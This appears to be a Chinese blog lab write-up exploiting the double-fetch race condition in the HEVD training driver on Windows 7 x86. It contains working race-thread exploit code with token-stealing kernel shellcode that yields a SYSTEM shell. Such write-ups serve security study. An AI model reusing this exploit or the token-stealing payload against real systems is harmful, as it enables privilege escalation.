• 漏洞分析丨HEVD-11.DoubleFetch[win7x86]

    作者selph

    前言

    窥探Ring0漏洞世界：条件竞争漏洞

    在多线程访问临界区的情况下，使用进程互斥可以使多个线程不能同时访问操作关键区的变量，条件竞争漏洞就源于没有对可能会被多个线程访问的变量进行保护，导致多重访问使得在一次操作中，操作的值在中间发生了变化。

    实验环境：

    •虚拟机：Windows 7 x86

    •物理机：Windows 10 x64

    •软件：IDA，Windbg，VS2022

    漏洞分析
    老样子，先IDA分析漏洞函数TriggerDoubleFetch，然后再看看源码

    首先初始化800h字节栈缓冲区：

     

    然后取出用户Buffer地址保存到局部变量里：

     

    接下来用用户传入参数的Size进行比较大小判断长度合法性：

     

    合法性通过之后，将用户缓冲区复制到内核里

     

    源码：

    ///

    /// Trigger the Double Fetch Vulnerability
    ///

    ///The pointer to user mode buffer
    /// NTSTATUS
    __declspec(safebuffers)
    NTSTATUS
    TriggerDoubleFetch(
    In PDOUBLE_FETCH UserDoubleFetch
    )
    {
    PVOID UserBuffer = NULL;
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = { 0 };

    #ifdef SECURE
    SIZE_T UserBufferSize = 0;
    #endif

    PAGED_CODE();

    1. __try
    2. {
    3.    //
    4.    // Verify if the buffer resides in user mode
    5.    //
    6.  
    7.    ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR));
    8.  
    9.    DbgPrint("[+] UserDoubleFetch: 0x%p\n", UserDoubleFetch);
    10.    DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
    11.    DbgPrint("[+] KernelBuffer Size: 0x%zX\n", sizeof(KernelBuffer));

    #ifdef SECURE
    UserBuffer = UserDoubleFetch->Buffer;
    UserBufferSize = UserDoubleFetch->Size;

    1.    //
    2.    // Verify if the 'UserDoubleFetch->Buffer' resides in user mode
    3.    //
    4.  
    5.    ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
    6.  
    7.    DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserBuffer);
    8.    DbgPrint("[+] UserDoubleFetch->Size: 0x%zX\n", UserBufferSize);
    9.  
    10.    if (UserBufferSize > sizeof(KernelBuffer))
    11.     {
    12.        DbgPrint("[-] Invalid Buffer Size: 0x%zX\n", UserBufferSize);
    13.  
    14.        Status = STATUS_INVALID_PARAMETER;
    15.        return Status;
    16.     }
    17.  
    18.    //
    19.    // Secure Note: This is secure because the developer is fetching
    20.     // 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user
    21.    // mode just once and storing it in a temporary variable. Later, this
    22.    // stored values are passed to RtlCopyMemory()/memcpy(). Hence, there
    23.    // will be no race condition
    24.    //
    25.  
    26.    RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);

    #else
    UserBuffer = UserDoubleFetch->Buffer;
    DbgPrint(“[+] UserDoubleFetch->Buffer: 0x%p\n”, UserBuffer);
    DbgPrint(“[+] UserDoubleFetch->Size: 0x%zX\n”, UserDoubleFetch->Size);

    1.    //
    2.    // Verify if the 'UserDoubleFetch->Buffer' resides in user mode
    3.    //
    4.  
    5.    ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
    6.  
    7.    if (UserDoubleFetch->Size > sizeof(KernelBuffer))
    8.     {
    9.        DbgPrint("[-] Invalid Buffer Size: 0x%zX\n", UserDoubleFetch->Size);
    10.  
    11.        Status = STATUS_INVALID_PARAMETER;
    12.        return Status;
    13.     }
    14.  
    15.    DbgPrint("[+] Triggering Double Fetch\n");
    16.  
    17.     //
    18.    // Vulnerability Note: This is a vanilla Double Fetch vulnerability because the
    19.    // developer is fetching 'UserDoubleFetch->Size' from user mode twice and the
    20.    // double fetched values are passed to RtlCopyMemory()/memcpy().
    21.     // This creates a race condition and the size check could be bypassed which will later
    22.    // cause stack based buffer overflow
    23.    //
    24.  
    25.    RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserDoubleFetch->Size);

    #endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
    Status = GetExceptionCode();
    DbgPrint(“[-] Exception Code: 0x%X\n”, Status);
    }

    return Status;
    }

    安全版本和漏洞版本的区别在于，是否用局部变量接收了用户传来的参数，这里接收的是一个结构体指针，指向用户内存的值，安全版本一次性用局部变量保存了用户传来的值，然后进行校验和复制，不安全版本则是直接从用户内存去读取这个值来进行操作

    如果用户内存的这个结构的值是变化的，当校验的时候，Size合法，当复制的时候Size不合法，则可能造成缓冲区栈溢出

    漏洞利用
    通过多线程来实现对用户缓冲区的操作，一个线程用来发起正常请求，一个线程用来修改Size大小：

    DWORD WINAPI FlippingThread() {
    while (TRUE) {
    UserBuffer->Size = 0x900;
    }
    }

    DWORD WINAPI RacingThread() {
    while (TRUE) {
    ULONG WriteRet = 0;
    UserBuffer->Size = 0x100;
    DeviceIoControl(hDevice, 0x222037, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
    }
    }

    测试代码：

    #include
    #include

    typedef struct _UserObject {
    ULONG_PTR Buffer;
    ULONG Size;
    }UserObject, * PUserObject;

    HANDLE hDevice = NULL;
    ULONG UserBufferSize = sizeof(UserObject);
    PUserObject UserBuffer = { 0 };

    int main()
    {
    hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
    if (hDevice == INVALID_HANDLE_VALUE) {
    printf(“[ERROR]Open Device Error\r\n”);
    system(“pause”);
    exit(1);
    }
    else {
    printf(“[INFO]Device Handle: 0x%X\n”, hDevice);
    }

    UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
    if (!UserBuffer) {
    printf(“[ERROR]Allocate ERROR”);
    system(“pause”);
    exit(1);
    }
    else {
    printf(“[INFO]Allocated Memory: 0x%p\n”, UserBuffer);
    printf(“[INFO]Allocation Size: 0x%X\n”, UserBufferSize);
    }

    // 申请用户缓冲区，填充满A

    UserBuffer->Buffer = (ULONG_PTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x900);
    RtlFillMemory((void*)UserBuffer->Buffer, 0x900, ‘A’);

    // 启动多线程

    HANDLE hThreadRacing[10] = { 0 };
    HANDLE hThreadFlipping[10] = { 0 };
    for (size_t i = 0; i < 10; i++)
    {
    hThreadRacing[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RacingThread, NULL, 0, 0);
    hThreadFlipping[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FlippingThread, NULL, 0, 0);
    }

    1. // 多线程超时则关闭线程
    2. if (WaitForMultipleObjects(10, hThreadRacing, TRUE, 120000)) {
    3.    for (size_t i = 0; i < 10; i++)
    4.     {
    5.        TerminateThread(hThreadRacing[i], 0);
    6.        CloseHandle(hThreadRacing[i]);
    7.        TerminateThread(hThreadFlipping[i], 0);
    8.        CloseHandle(hThreadFlipping[i]);
    9.     }
    10. }

    HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer->Buffer);
    HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
    UserBuffer = NULL;

    system(“pause”);
    system(“cmd.exe”);

    return 0;
    }

    不出意外，很快windbg里就有反应了，异常0xC0000005，查看寄存器：

    kd> r
    eax=00000000 ebx=88739938 ecx=158c4b84 edx=00000000 esi=83ec8087 edi=887398c8
    eip=41414141 esp=83aceae0 ebp=41414141 iopl=0nv up ei ng nz ac po nc
    cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010292
    41414141 ?? ???

    发生了栈溢出，接下来用老方法去找溢出点，Kali的pattern_create.rb脚本：

    ┌──(selph㉿kali)-[~/桌面]
    └─$ ./pattern_create.rb -l 0x900
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7

    用随机字符串替换缓冲区的值，再次执行，很快又崩溃了：

    Access violation - code c0000005 (!!! second chance !!!)
    35724334 ???

    获取溢出点位置：

    ┌──(selph㉿kali)-[~/桌面]
    └─$ ./pattern_offset.rb -q 35724334 -l 0x900
    [*] Exact match at offset 2084

    编写exp：
    最终版本exp代码，通过提升线程优先级来提高条件竞争发生的几率，代码如下：

    #include
    #include
    #include

    // Windows 7 SP1 x86 Offsets
    #define KTHREAD_OFFSET0x124 // nt!_KPCR.PcrbData.CurrentThread
    #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
    #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
    #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
    #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
    #define SYSTEM_PID 0x004 // SYSTEM Process PID

    typedef struct _UserObject {
    ULONG_PTR Buffer;
    ULONG Size;
    }UserObject, * PUserObject;

    HANDLE hDevice = NULL;
    ULONG UserBufferSize = sizeof(UserObject);
    PUserObject UserBuffer = { 0 };
    const char* randomSeries = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7”;

    VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
    pushad

    1.     ;获取当前进程EPROCESS
    2.    xor eax, eax
    3.    mov eax, fs: [eax + KTHREAD_OFFSET]
    4.     mov eax, [eax + EPROCESS_OFFSET]
    5.    mov ecx, eax
    6.  
    7.     ;搜索system进程EPROCESS
    8.    mov edx, SYSTEM_PID
    9.    SearchSystemPID :
    10.    mov eax, [eax + FLINK_OFFSET]
    11.    sub eax, FLINK_OFFSET
    12.    cmp[eax + PID_OFFSET], edx
    13.    jne SearchSystemPID
    14.  
    15.     ; token窃取
    16.    mov edx, [eax + TOKEN_OFFSET]
    17.    mov[ecx + TOKEN_OFFSET], edx
    18.  
    19.     ;环境还原 + 返回
    20.    popad
    21.    xor eax, eax
    22.    add esp, 12
    23.    pop ebp
    24.    ret 8
    25. }

    }

    DWORD WINAPI FlippingThread() {
    while (TRUE) {
    UserBuffer->Size = 0x824+4;
    }
    }

    DWORD WINAPI RacingThread() {
    while (TRUE) {
    ULONG WriteRet = 0;
    UserBuffer->Size = 0x200;
    DeviceIoControl(hDevice, 0x222037, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
    }
    }

    int main()
    {
    PVOID EopPayload = &TokenStealingPayloadWin7;
    hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
    UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
    UserBuffer->Buffer = (ULONG_PTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x900);
    RtlCopyMemory((void*)UserBuffer->Buffer, randomSeries, 0x900);
    *(PULONG)(UserBuffer->Buffer + 0x824) = (ULONG)EopPayload;

    HANDLE hThreadRacing[10] = { 0 };
    HANDLE hThreadFlipping[10] = { 0 };
    for (size_t i = 0; i < 10; i++)
    {
    hThreadRacing[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RacingThread, NULL, CREATE_SUSPENDED, 0);
    hThreadFlipping[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FlippingThread, NULL, CREATE_SUSPENDED, 0);

    1.    // 设置优先级可以提升线程抢占到CPU的频率，更有机会执行到shellcode
    2.    SetThreadPriority(hThreadRacing[i], THREAD_PRIORITY_HIGHEST);
    3.    SetThreadPriority(hThreadFlipping[i], THREAD_PRIORITY_HIGHEST);
    4.  
    5.    ResumeThread(hThreadRacing[i]);
    6.    ResumeThread(hThreadFlipping[i]);
    7. }
    8.  
    9. if (WaitForMultipleObjects(10, hThreadRacing, TRUE, 60000)) {
    10.     for (size_t i = 0; i < 10; i++)
    11.     {
    12.        TerminateThread(hThreadRacing[i], 0);
    13.        CloseHandle(hThreadRacing[i]);
    14.        TerminateThread(hThreadFlipping[i], 0);
    15.        CloseHandle(hThreadFlipping[i]);
    16.     }
    17. }
    18.  
    19. HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer->Buffer);

    HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
    UserBuffer = NULL;

    system(“pause”);
    system(“cmd.exe”);

    return 0;
    }

    截图演示

     

    参考资料

    •[1] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com)
    GitHub - hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver
    •[2] HEVD writeups - yuvaly0’s blog

    HEVD writeups - yuvaly0's blog

    •[3] CreateThread function (processthreadsapi.h) - Win32 apps | Microsoft Docs

    CreateThread function (processthreadsapi.h) - Win32 apps | Microsoft Docs

    •[4] WaitForMultipleObjects function (synchapi.h) - Win32 apps | Microsoft Docs

    WaitForMultipleObjects function (synchapi.h) - Win32 apps | Microsoft Docs

  • 相关阅读:
    [C++]：for循环for(int num : nums)
    【CC3200AI 实验教程 1】疯壳·AI语音人脸识别（会议记录仪/人脸打卡机）-开发环境搭建
    基于Python开发的Excel数据分析系统(源码+可执行程序+程序配置说明书+程序使用说明书)
    Yolov8小目标检测（26）：多尺度空洞注意力（MSDA） | 中科院一区顶刊 DilateFormer 2023.9
    swift指针&内存管理-闭包的循环引用
    Java开发学习(二十四)----SpringMVC设置请求映射路径
    【虚拟语气练习题】对过去的虚拟
    QT--创建QT程序
    Python 完美解决 Import “模块“ could not be resolved ...
    http请求报错：406 Not Acceptable的解决办法
  • 原文地址：https://blog.csdn.net/m0_64973256/article/details/126180027